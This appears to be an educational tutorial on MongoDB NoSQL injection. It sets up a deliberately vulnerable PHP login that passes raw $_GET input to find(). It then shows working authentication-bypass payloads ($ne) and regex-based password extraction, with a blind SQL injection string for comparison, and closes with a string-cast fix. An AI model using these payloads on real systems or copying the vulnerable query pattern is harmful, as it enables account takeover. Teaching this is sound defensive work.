NoSQL Injection (MongoDB)

What are NoSQL databases (aka "not only SQL") ??

are non-tabular (non-relational) databases and store data differently than relational tables. they come in a variety of types based on their data model. The main types are document (similar to JSON objects), key-value, wide-column, and graph.

MongoDB is document based, uses the Binary JSON (BSON) data format.

RDBMS vs NoSQL: Data Modeling Example

Here

SQL vs NoSQL Injection

in SQL injection user input processed to modify or replace SQL queries that the application sends to a database engine.

NoSQL databases don't use a common query language.

NoSQL query syntax is product-specific and queries are written in the programming language of the application: PHP, JavaScript, Python, Java, and so on.

his means that a successful injection lets the attacker execute commands not only in the database, but also in the application itself, which can be far more dangerous.



How MongoDB Works

$ sudo systemctl start mongod
$ mongosh

# By default, there are three databases that are created upon installation. (admin, config, local)
test> show dbs

# To create a database with "use", and select it though
test> use users


# create a user for the DB
users> db.createUser(
... {
..... user: "test",
..... pwd: "test123",                                   # password 
..... roles: [ { role: "readWrite", db: "users"} ]
..... }
... )
{ ok: 1 }()


# list users 
users> show users
[
  {
    _id: 'users.test',
    userId: UUID("18a00b62-6d59-41de-adec-73f4e265d0c6"),
    user: 'test',
    db: 'users',
    roles: [ { role: 'readWrite', db: 'users' } ],
    mechanisms: [ 'SCRAM-SHA-1', 'SCRAM-SHA-256' ]
  }
]

Connect to MongoDB

$ mongosh -u 'test' -p 'test123' "mongodb://127.0.0.1/users"

# OR 

$ mongosh "mongodb://test:test123@127.0.0.1:27017/users"

Data Finding and Filtering

# If a collection does not exist, MongoDB creates the collection when you first store data for that collection.


# insert some data 
users> db.staff.insertOne({username : "hacker", password : "hacker123", city: "London", married: false, hobbies: ["hacking", "hacking", "hacking"]})


users> show collections
staff


# retrieve all data 
users> db.staff.find()
[
  {
    _id: ObjectId("62dc609413fc8ea83f77791a"),
    username: 'hacker',
    password: 'hacker123',
    city: 'London',
    married: false,
    hobbies: [ 'hacking', 'hacking', 'hacking' ]
  }
]


# find With filter 
users> db.staff.find({ username: "hacker", password: "hacker123456" })
# Null !! 

users> db.staff.find({ username: "hacker", password: "hacker123" })
[
  {
    _id: ObjectId("62dc609413fc8ea83f77791a"),
    username: 'hacker',
    password: 'hacker123',
    city: 'London',
    married: false,
    hobbies: [ 'hacking', 'hacking', 'hacking' ]
  }
]


# using comparison operators ($lt, $gt, $ne, ...)
users> db.staff.find({ username: "hacker", password: {$ne : 1 }})
[
  {
    _id: ObjectId("62dc609413fc8ea83f77791a"),
    username: 'hacker',
    password: 'hacker123',
    city: 'London',
    married: false,
    hobbies: [ 'hacking', 'hacking', 'hacking' ]
  }
]

# the above query means, find in staff collection from users database any thing that matches : 
# 1. username = hacker 
# 2. password != 1       ^^ ==> NoSQL injection 


# using regex  ==>  { <field>: { $regex: 'pattern', $options: '<options>' } }
users> db.staff.find({ username: "hacker", password: {$regex : '^h'}})
# OR 
users> db.staff.find({ username: "hacker", password: {$regex : '^[a-z]'}})
[
  {
    _id: ObjectId("62dc609413fc8ea83f77791a"),
    username: 'hacker',
    password: 'hacker123',
    city: 'London',
    married: false,
    hobbies: [ 'hacking', 'hacking', 'hacking' ]
  }
]

# means the first char from the password field is 'h' or one of the char between [a-z]




PHP Code Example

# install mongodb from the docs 

# install php >= 8 
$ sudo apt-get install php-mongodb

$ mkdir "PHP"
$ cd PHP
$ composer require mongodb/mongodb

$ nano test.php     # write the php code below  
$ php test.php

test.php

<?php
require 'vendor/autoload.php'; // include Composer's autoloader

$client = new MongoDB\Client(
    "mongodb://test:test123@127.0.0.1:27017/users"
);

// DBname->CollectionName
$collection = $client->users->staff;

$result = $collection->find(array(
    "username" => "hacker",
    "password" => "hacker123"
));


foreach ($result as $entry) {
    echo $entry['username'], ': ', $entry['password'], "\n";
}
?>

Methods to Exploit

# using comparison operators
$result = $collection->find(array(
    "username" => "hacker",
    "password" => array('$ne' => 1)          # '$ne' not "$ne"
));

# using regex
$result = $collection->find(array(
    "username" => "hacker",
    "password" => array('$regex' => '^h')    # '$regex' not "$regex"
));




Injection Explained !!

Note

username[$ne]=1 ===> $_POST[“username”] = array(‘$ne’ ==> 1) ===> {‘$ne’ : 1}

$result = $collection->find(array(
    "username" => $_GET['username'],
    "password" => $_GET['password']
));

// equivalent to 

mysql_query("SELECT * FROM collection WHERE username=" . $_GET['username'] . " AND password=" . $_GET['password'])

Inject the queries using comparison operators??

// in sql
login.php?username=admin&password=" OR 1=1 -- -
// in nosql 
login.php?username=admin&password[$ne]=1      

// So the query becomes 
$collection->find(array(
    "username" => "admin",
    "password" => array('$ne' => 1)
));

// equivalent to 
mysql_query("SELECT * FROM collection WHERE username='admin' AND password !=1"); // always ture, unless the password == 1 ^^ 

Inject the queries using regex filtering??

// in sql (blindly)
login.php?username=admin&password=" OR (SELECT (CASE WHEN EXISTS(SELECT password FROM users WHERE username='admin' AND password REGEXP "^h.*") THEN SLEEP(10) ELSE 1 END)); -- -
// in nosql 
login.php?username=admin&password[$regex]=^h.*

// So the query becomes 
$collection->find(array(
    "username" => "admin",
    "password" => array('$regex' => '^h.*')
));
// simply preventing the attack
$collection->find(array(
    "username" => (string)$_GET['username'],
    "password" => (string)$_GET['password']
));